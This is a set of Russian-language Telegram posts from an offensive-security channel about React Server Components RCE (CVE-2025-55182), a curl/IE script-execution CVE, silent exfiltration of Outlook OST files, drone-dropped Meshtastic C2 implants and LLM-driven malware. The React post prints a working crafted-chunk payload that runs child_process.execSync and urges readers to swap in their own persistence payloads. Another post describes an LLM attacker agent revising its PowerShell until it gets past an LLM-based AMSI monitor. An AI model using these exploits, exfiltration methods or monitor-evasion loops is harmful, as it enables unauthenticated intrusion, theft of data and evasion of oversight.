ладно, сферический vm.runInThisContext в вакууме мы уже помучали
теперь нормальный стенд под живого человека

навайбкодил отдельную лабу:
https://github.com/ghe770mvp/RSC_Vuln_Lab

тут вместо академического «давайте сразу дергать vm» — реальный серверный гаджет, похожий на то, что вы увидите в проде:

* есть server.js, который дергает уязвимый decodeAction из react-server-dom-webpack 19.2.0 без патчей
* есть app/server-actions.js с уязвимым server action generateReport
* есть scripts/report.js, который изображает генератор отчётов и принимает аргументы командной строки

типичный бизнес-флоу уровня «сделай мне отчётик по проекту в pdf»
под капотом — классика жанра: child_process.exec + конкатенация строк
всё как мы любим в больших корпорациях

дальше магия rsc:

* decodeAction по уязвимому протоколу проглатывает наши $ACTION_*
* мы подсовываем generateReport параметры вроде pdf & whoami
* отчёт внезапно «генерится» вместе с whoami на хосте

никаких искусственных vm#runInThisContext, никаких «специальных учебных серверов»
ровно тот уровень идиотизма, который легко встретить в enterprise:
«ну мы же всего лишь обёртку над exec написали, что тут может пойти не так»

лаба нужна для трёх вещей:

1. показать, как RSC-RCE может встраивается в реальный код
2. дать удобный стенд для отладки и анализа протокола / формата payload’ов
3. дать материал под нормальные демо

если хотите ресерчить CVE-2025-55182 не в вакууме, а на почти IRL-сценарии берите это репо и гоняйте, меняйте гаджеты, логами обмазывайтесь.

приятных снов.

👾

в сухом остатке — это обход фронтенда.

что делает уязвимость по факту?
она позволяет атакующему не грузить три тонны реактовского джаваскрипта, не иметь сессии, не быть авторизованным, прямые запросы в endpoint сервер-экшенов:

типа:
«вот тебе номер функции, вот тебе её идентификатор, а вот тебе аргументы, скушай, пожалуйста».

всё. это примитив для дебилов.
тебя просто выпускают из «загончика фронтенда» и пускают общаться напрямую с серверными функциями, которые по идее должны вызываться через нормальное приложение, через свою логику, авторизацию, контекст и прочее.

чтобы из этого был RCE, должно совпасть ещё два условия:

1. в сервер-экшене должен быть уязвимый код: child_process, шаблонизатор, eval, что угодно, что реально даёт выполнение кода на сервере;
2. этот код должен не фильтровать ввод, не экранировать, не валидировать — то есть RCE уже должен существовать у вас в кодовой базе.

а теперь внимание: вот эта — отдельная уязвимость в лабе.
это не заслуга react’а, это заслуга сценарного «инженера», который решил повесить генерацию отчётов или конвертацию pdf на exec("...", user_input).

react тут даёт мост.
но сам по себе он не превращается чудесным образом в «один HTTP-запрос — и я в шелле».

поэтому, когда я читаю вот это «CVSS 10.0 RCE, срочно всем помереть, нам пиздец это новый EthernalBlue», у меня закономерный вопрос:
вы вообще отличаете багу уровня log4shell / windows TCP/IP RCE / IPP command injection, где реально одним пакетом можно положить сервис или прыгнуть в память, от вот этого всего?

бага в Windows TCP/IP, где ты хуячишь одну злую команду — и у тебя прямая дорога до rce при определённой конфигурации — вот там я ещё могу поверить в «почти 10 из 10», хотя и там эксплуатация бывает цирковой.
windows-баг, где криво парсится пакет, и ты напрямую пишешь в хип — да, окей, это серьёзный разговор.

а тут что?
прямой вызов серверных функций в обход фронтенда.
всё.

да, это неприятно.
да, это ломает границу «фронт → бек».
да, это может превратиться в полный звездец, если ваш backend — звезда говнокод.ру с exec’ами и шаблонизаторами без фильтра.

не уровень, где ты снаружи приходишь к рандомному react-приложению и гарантированно получаешь RCE, вообще не зная кода.
в большинстве случаев ты получишь:

обход авторизации;
доступ к бизнес-логике;
возможность ломать бизнес-процессы.

что, кстати, уже неприятно, но это опять же не автоматический RCE.

больше всего веселит меня это:

во всех этих «блатных» каналах сидят персонажи с подписями «я кибер-воин, я был на подкасте у мента, у меня компания, я тебя взломаю, парень», и продают историю в духе:

> «пацаны, react теперь это RCE 0day, срочно качаем доку, собираем лабу, дрочим протокол».

ты лезешь, читаешь специфику rsc, ковыряешься с протоколом, разбираешься, как сериализуются $ACTION_*, как оно всё строится,
собираешь эту ебучую лабу, чтобы доказать самому себе:
там просто прямой вызов сервер-экшенов.

повторюсь:
чтобы был RCE, он уже должен сидеть внутри этих server actions.
и далеко не факт, что он там есть.

это важно проговорить:

уязвимость в react — это универсальный обход фронтенда и модели авторизации вокруг сервер-экшенов;

RCE — это не часть спецификации этой баги, это только возможный следущий шаг, если у вас в action’ах уже есть говнокод.

резюме:

- челик, который изначально говорил что это шляпа: ты красава что выспался сегодня.
– да, баг серьёзный, патчить надо, особенно если вы играете в RSC/Server Actions;
– нет, это не честный 10/10 RCE уровня «отправил пакет — получил шелл», это воздуханский-нарратив, разогнанный для репостов;
– никаких «магических гаджетов по умолчанию» в каждом react-приложении я пока не вижу; если кто-то найдёт встроенный универсальный rce-гаджет, поговорим ещё раз.

пока так:
я потратил кучу времени, чтобы убедиться, что король голый,
а нам опять продают историю про «критический RCE на половину интернета».

fake news, шляпа и говно от таких же фейков которые уже давно не в обойме.

патч накатываем, выводы делаем, но мозг при этом не сдаём в аренду cvss-табличкам и телеграм-экспертам.

UPD: чую, переобуюсь к обеду.

👾

апдейт по React-RCE.

списался с несколькими своими коллегами, кто тоже ковыряет эту историю. да, нас всех конкретно сбила с толку публичная демка.
но важно другое.

сам автор уязвимости / эксплойта прямым текстом сказал:
то, что сейчас гуляет по паблику — шляпа.
https://react2shell.com/
мы пошли по ложному следу.
нормальный рабочий вектор — есть, надо стараться жёстче.

по факту у нас что есть:

- десериализация
- модель угроз для RSC остаётся очень жирной
- просто путь эксплуатации явно сложнее, чем “запусти vm.runInThisContext и внедри команду”

сейчас я пойду прогуляюсь, подышу прекрасным московским воздухом,
потом закрою пару важных дел по основной движухе
и этой же ночью продолжу копать реальный вектор.

отдельно спасибо всем, кто отозвался.
проснуться к вечеру, увидеть плюс к подписчикам и корректную обратную связь — это кайф.
дальше контента будет больше: тут в основном внутрянка, AD, Red Team, оффенсив, всё как вы любите.

и да, RCE-класс уязвимости в таком звере, как React, — это жирный таргет для всех:
внутрянщиков, веберов, мобилщиков, аппсек спецов.
если оно там есть — это уже архитектурная история, а не просто “ещё один баг”.

ну и главное, что ещё раз всплыло за эту ночь:
когда реально ресёрчишь, тебя будет качать.
то “всё фейк”, то “это абсурд”, то “я вообще не туда смотрю”.

нормально.
главное — не терять голову и не терять веру в то, что ты докопаешься до сути.
остальное — шум.

👾

короткий апдейт по тому, к чему сейчас пришли по react-баге в интернетах.

https://github.com/msanft/CVE-2025-55182

выше репо автора ресерча, где он честно фиксирует ядро уязвимости:

server actions знать не обязательно. он вообще не лезет в бизнес-логику, он ковыряет сам протокол React Flight.

примитив такой: через формат "$1:__proto__:constructor:constructor" можно было залезть в прототип, вытащить Function и засунуть его в места, где react потом это вызывает (например, через then у thenable-объектов).

патч как раз про это:
добавили hasOwnProperty и обрубили возможность ходить по прототипу и изучать его свойства. всё, базовое «дырявое место» на уровне библиотеки закрыли.


поэтому картина сейчас такая:

у нас точно есть вектор с загрязнением прототипа / доступом к Function через Flight.

как именно это честно чейнить до RCE в реальных приложениях — пока открытый вопрос. нужен конкретный sink: где этот Function или объект с протравленным прототипом реально приводит к исполнению кода, а не просто к крашу.

то есть:
ядро бага подтверждено, прототип-полюшн есть, server actions для понимания механики не обязательны.
но универсальная цепочка «request → протокол → библиотечный код → гарантированный shell» пока не предъявлена. это всё ещё поле для нормального ресерча, а не готовая «кнопка RCE для любого react-проекта».

👾

БЕСПИЛОТНЫЙ RED TEAMING

ребята из dreadnode решили сыграть сами с собой в «красные vs синие», но на стероидах из llm.
https://dreadnode.io/blog/llm-powered-amsi-provider-vs-red-team-agent

с одной стороны — защитник:
кастомный amsi-провайдер под windows, который вместо сигнатур шлёт powershell-код в llm (claude sonnet) и получает вердикт: clean / suspicious / malicious.

с другой — атакующий агент:
llm, которому дают задачу
«подними привилегии до SYSTEM через уязвимую WinSysPerf и создай C:\proof_success.txt».
агент генерит ps-эксплойт, гоняет его через UnmanagedPowerShell (amsi всё видит), смотрит вывод, ошибку «blocked by antivirus» и по кругу дорабатывает атаку.

вся рубка идёт в песочнице, но каждый шаг пишется в лог: какой скрипт, какая цель, что сказал amsi-llm, сработал ли эксплойт, есть ли proof-файл и кто его владелец. на выходе — живой датасет реальных ofenssive-цепочек, а не архив powersploit’а.

как работает llm-amsi

очень коротко:
powershell → AmsiScanBuffer()
→ наш AMSI DLL
→ Read() вытаскивает скрипт
→ запрос в LLM "оценить скрипт"
→ ответ: clean / suspicious / malicious
→ маппинг в AMSI_RESULT_*
→ либо выполняем, либо рубим "blocked by antivirus"

если скрипт жирный — режут на куски, каждый отдельно гоняют в llm, один malicious → режем всё.

как работает red team агент

goal ("SYSTEM + C:\proof_success.txt")
→ LLM пишет ps-код
→ UnmanagedPowerShell.Invoke()
→ AMSI+LLM либо пускает, либо блочит
→ агент смотрит stdout/ошибки
→ verifier проверяет proof-файл и владельца
→ до 10 итераций, финал — TASK_COMPLETE

первые попытки — тупой service binPath hijack → llm-amsi валит. дальше агент начинает «играть белого админа»: отдельно смотрит статус сервиса, собирает WMI, аккуратно крутит sc.exe config, net stop/start, проверяет Test-Path. часть такого кода amsi считает чистым, часть подозрительным, иногда промахивается. но в итоге агент выбивает SYSTEM и оставляет аккуратный SUCCESS в C:\proof_success.txt.

зачем это всё

на каждый скрипт есть:
- код powershell
- цель
- факт успеха / неуспеха
- вердикт и причина от защитного llm

это уже материал, из которого можно:
- учить свои модели,
- строить правила для edr,
- тестировать продуктовые гипотезы «что llm-amsi делает под реальной атакой».

что говорить, данный подход я уже реализовал в моём проекте Ледокол ОС. еще в сентябре.

но как вы можете сами наблюдать на рынке ИБ, то вендоров и заказчиков интересует весёленький распил субсидиарного бабла по лекалам 44-ФЗ. а на безопасность им просто похуй :)

React RCE POC:
серверные компоненты, аутентификация не нужна, cvss 10.0. если у тебя next/react 19.x с server components – это уже твоя проблема.

что именно взломали

react flight-парсер не проверял, что ключи принадлежат самому объекту. через полезную нагрузку "$1:__proto__:constructor:constructor" можно было вытащить глобальный Function прямо при десериализации чанков. уже достаточно приятно: у нас есть «exec»-примитив без vm, eval и прочих костылей в сторону которых я думал вчера ночью.

шаг 2: then + await

next.js делает await decodeReplyFromBusboy(...). если декодер возвращает объект с полем then, рантайм воспринимает его как промис и вызывает then(resolve, reject). мы подсовываем объект, где then указывает на наш Function (достали его через __proto__). await послушно вызывает его. первый эффект – крэш на SyntaxError, но это только способ обнаружения наличия пути эксплуатации.

настоящий RCE-чейн

дальше начинается весёлое:

* спец-формат "$@0" позволяет вернуть сырой чанк по id, а не уже разобранный объект;
* чанки сами по себе thenable, через Chunk.prototype.then они попадают в initializeModelChunk;
* initializeModelChunk второй раз прогоняет наши данные через reviveModel, но уже вместе с внутренним объектом response.

мы собираем фейковый чанк:

* status: "resolved_model" — чтобы сработал initializeModelChunk;
* value: '{"then":"$B0"}' — на втором проходе триггерится префикс $B (blob);
* _response._formData.get указываем на Function;
* _response._prefix забиваем строкой типа process.mainModule.require('child_process').execSync('id');.

в reviveModel выполняется вызов:

response._formData.get(response._prefix + "0")

а значит реальный код, который крутится на сервере:

Function("process.mainModule.require('child_process').execSync('calc');0")

дальше эту функцию ещё и вызывают по цепочке промисов → полный RCE внутри node-процесса, один http-запрос, без логина.

кто под угрозой?

* react 19.0–19.2 с react-server-dom-* (webpack/parcel/turbopack);
* любые server actions / server functions;
* уязвимость живёт в самом decode/flight-парсере, а не в бизнес-логике.

патч уже есть: 19.0.1 / 19.1.2 / 19.2.1.
если у тебя прод на этих версиях и rsc включены — это не «надо бы обновиться», это «необходимо было сделать вчера». временные костыли — вырубить server components, ограничить доступ к endpoint’ам. еще есть худший вариант - жёстко фильтровать payload’ы с $@, $B, __proto__.

что делать red team

* на next/react-проектах сразу проверять версии react-server-dom-*;
* искать endpoint’ы с заголовком Next-Action и multipart body;
* разбирать PoC, и вместо calc добавлять ваши полезные нагрузки по исполнению/закреплению.

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    # "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

https://github.com/msanft/CVE-2025-55182

это тот случай, когда js-фреймворк честно довозит тебя от грязного payload’а до DMZ а может и до L2.

мое почтение, Moritz Sanft 👏

👾

АТАКИ НА SNMP

old but gold

что это за протокол, как устроены mib/oid;
чем отличаются v1/v2c/v3;
как брутить community-строки;
что можно вытащить с host’а через snmpwalk/braa;
где там лежат юзеры, пароли, конфиги.

в конце как из “просто мониторинга сетевого трафика” сделать rce через NET-SNMP-EXTEND-MIB и получить шелл.

https://teletype.in/@ad_poheque/hacking_SNMP

почему я это вообще выкинул сюда:
я обещал одному коллеге скинуть разбор по snmp, но контакт потерялся.
Дмитрий, привет.

заодно хочу посмотреть, будет ли жить teletype как площадка под нормальный контент, где можно читать превью прямо из тг. трафика почти нет, донатов ноль.

это перевод hacktricks на русский, теста ради.

это немного, но это честная работа :)

👾

МЕТОДОЛОГИЯ MCPwn'а

знаешь, какие сервисы крутятся рядом с llm?
уверен, что ни один из них не отдаёт тебе внутреннюю сеть по json-rpc / http без аутентификации?

mcp уже в проде: ide, ассистенты, консольные инструменты. для нас это не «новый хайп», а ещё один класс открытых api, где вместо /api/v1 теперь /mcp.
и да — SSRF, LFI, IDOR и COMMAND INJECTION теперь кайфуют там.

я собрал вводный разбор по атакам на mcp-серверы:
— что это за протокол;
— как искать открытые mcp-endpoint’ы;
— чем полезны damn vulnerable mcp server + mcp-scanner;
— какие векторы уже видно сейчас и как их тестировать в рамках пентеста.

если ты пентестер / оператор red team / appsec инженер и ещё не держишь mcp в модели угроз — ты пропускаешь новую поверхность атаки. через год это будет такой же must-have, как когда-то было «научиться ковырять graphql».

читай и применяй в проектах:
https://teletype.in/@ad_poheque/pentesting_mcp_servers

#Pentest #RedTeam #MLSecOps

👾

на этой неделе выложу пару подробных, но злых публикаций про обход блокировки файлов в windows.

разберём, как это делают китайцы через старый, заезженный, но до сих пор рабочий приём, и как то же самое провернуть иначе — моим методом, который родился в боевой практике.

речь про скрытную реализацию «недопустимого события», к которой мало какие СЗИ готовы "из коробки" — а не про очередной дамп lsass или цирк с dcsync/брутом всех хэшей домена.

канал про AD изначально, стоит чтить традиции.

параллельно готовлюсь, наконец, включить железо и записать нормальный скринкаст.

разберём уязвимость с CVSS 10/10:
выход из песочницы + use-after-free, где один кривой объект даёт вам шелл.
тема тяжёлая, вектор изящный, сложность эксплуатации может отпугивать, но закрыть такой челендж — это уже уровень реальный.

и да, отдельно спасибо тем, кто пишет в личку и даёт обратную связь.
мне это более чем ценно, я не из тех, кто будет делать вид, что "мне всё равно".
время сейчас непростое для меня лично, и ваша поддержка реально держит на плаву.

дальше будет только жёстче и практичнее.

хак зе планет.

👾

помните, коллеги, как мы прятали три заветные буквы IEX в именах файлов, DNS-записях и прочем мусоре, скремблировали их словно Котельников речь в Соболе?

так вот, в свежих сборках винды нам сами завезли подарок: curl / Invoke-WebRequest без -UseBasicParsing поднимает старый IE-движок и хавает <script> прямо из ответа.
CVE-2025-54100: можно больше не палиться с | iex, достаточно один раз дернуть «невинный»
curl http://…/a.js — а дальше уже вопрос фантазии и цепочки.

у неискушённых может возникнуть вопрос:
"так это же просто javascript, что с ним сделать можно помимо alert(1)?"

ха-ха. из самого очевидного — берёте DotNetToJScript, генерите .js, который грузит .NET-сборку и бахает шеллкод в памяти скомпрометированной станции. обфусцируете js, чуть поигрались с методом исполнения самого шеллкода
??????
PROFIT

мысль:
SSRF в некоторых веб-приложениях под Windows теперь прям просится быть докрученным до RCE. если бэкенд где-то в кишках дергает curl/iwr по вашему URL — этот вектор имеет смысл проверять отдельно и аккуратно.

ссылки:
PoC CVE-2025-54100 — https://github.com/osman1337-security/CVE-2025-54100
DotNetToJScript — https://github.com/tyranid/DotNetToJScript

👾

ТИХОЕ КОПИРОВАНИЕ ПОЧТЫ БЕЗ ТОРМОЗОВ OUTLOOK'A

как тихо выгрузить почту с Windows, не роняя Outlook Classic, не подавая особых сигналов для SOC?

на бусти разобрал способ эксфильтрации OST через теневые копии + выгрузку по http на внешний сервер.

ссылку на рабочий инструмент положил прямо в статье.

идите читать.

https://boosty.to/ghe770mvp/posts/1ac8dbee-e949-4380-a50c-032ca25fa499?share=post_link

#RedTeam #Pentest #DFIR #OPSEC

👾

пока я пишу видеоролик про обход песочницы и исполнение в heap’е — написал честную статью.

почему "информационная безопасность" в текущем виде — миф, удобный исключительно акторам и вендорам.

фидбек хороший, вам тоже зайдёт.

читайте.
https://boosty.to/ghe770mvp/posts/bfc7c31a-d059-403c-9abf-a0b86f175a30?utm_src=ad_poheque

👾

интернет отрубили, vpn задушили, ngfw дышит в затылок — а у тебя свой маленький «биврёст» на LoRa.
meshtastic как канал связи. при желании докручивается до ExpressLRS/ Crossfire, умельцы есть.

это ровно то, чего нет в корпоративных методичках: альтернативный, медленный, но живучий канал управления.
никакого tcp/ip, никакого dpi, никакого «давайте добавим сигнатуру в next gen firewall» — трафик ушёл в эфир и прошёл мимо их игрушек.

решат бороться с такой закладкой через РЭБ расположенный в офисе или цеху, то лягут:

• bluetooth-наушники любимых сеньоров
• «умные» кондиционеры
• половина датчиков и прочего iot-шлака
• АСУТП, ПЛК

всё, что дышит тем же диапазоном. чтобы выжечь один аккуратный mesh-канал, придётся устроить реальный саботаж своими же руками так и не получив желаемого.

для red team это ещё один слой выживания:
оставил физическую закладку с meshtastic → поднял аварийный c2-канал вне ip → даже если основной доступ лёг, у тебя остаётся тихий запасной маршрут. в рамках упражнений и учений — актуальная модель угроз.

дальше в игру заходят люди, которые вчера гоняли fpv под помехами, а сегодня вернулись «на гражданку». для них «обойти периметр завода и найти слепую зону» — это тривиальная задача на вечер.

и внезапно выясняется, что для закладки не нужен ни «социальный инженер», ни экскурсия в офис. достаточно в сценарии учений:

— приехать на каршеринге,
— пройтись вдоль периметра,
— проверить эфир обычными bluetooth-наушниками: если музыка не рвётся — радиообстановка более-менее чистая.

дальше включается беспилотная школа. лёгкий борт с камерой и нормальной антенной спокойно перелетает забор и оставляет внутри то, что раньше просили заносить «под видом флешки»:
маленький модуль с lora/meshtastic, wi-fi, чем угодно ещё. хоть на подоконник, хоть через открытую форточку и там уже на шкаф.
есть поддержка изнутри — вообще праздник: воткнулся в шнурок по классике, и привет, out-of-band для тех же учений.

важное здесь не «как так сделать», а что модель угроз большинства контор этого просто не видит. у них до сих пор всё крутится вокруг:

— периметр → ngfw → прокси
— офис → домен → soc

а над забором уже спокойно летает другая эпоха, где инженер по беспилотникам в паре с red team даёт такой out-of-band, который никакой «стажёр кладовщик» не обеспечит.

если вы отвечаете за защиту и всё ещё мыслите только ip-сетями и турникетами — вы динозавр и не видите целый класс каналов связи.

репозиторий для изучения:
https://github.com/benjaminchodroff/meshtastic_c2

👾

LAMEHUG / LAMEHACK

сегодня у меня день рождения, вместо тоста – вспомним самый угарный имплант года:

да, он в самом деле lame. простая связка python+pyinstaller, его явно написали во время перекура. но в этом-то и кайф:
20% усилий → 80% импакта.

мне тут понравился подход:
масса рутины вынесена напрямую llm, имплант здесь тонкий клиент к ai-агенту, который словно автопилот сам продумывает, какие команды гонять на винде.
huggingface в роли канала C2 – вообще песня:
“кхм, это у нас ai-интеграции, не блочьте, нам надо для инноваций”.

маленький, местами кривой, но гордый имплант, который показал одно из самых ярких проявлений закона парето в наступательных инструментах:
немного кода → новый вектор атак и техник, которого все ждали, но духа не хватало.

пошумели славно c:

времена изменились, теперь
- писать “малварь” == уметь строить агентные системы;
- сигнатурный подход помер вновь;
- “поведенческий анализ” получил реально мощного соперника.

идентичный боевому варианту код можно посмотреть здесь:
https://github.com/letmedaydream1337/AI-Powered-Backdoor-LameHug
почитать о TTP:
https://xn--r1a.website/ThreatHuntingFather/688
неплохой обзор у splunk'а:
https://www.splunk.com/en_us/blog/security/lamehug-ai-driven-malware-llm-cyber-intrusion-analysis.html

#RedTeam #Pentest #MalDev

всех поздравляю с недавним и наступающим Рождеством Христовым!

👾

владельцев скомпрометированных учётных записей народного ментсенджера ждут санкции со стороны государства.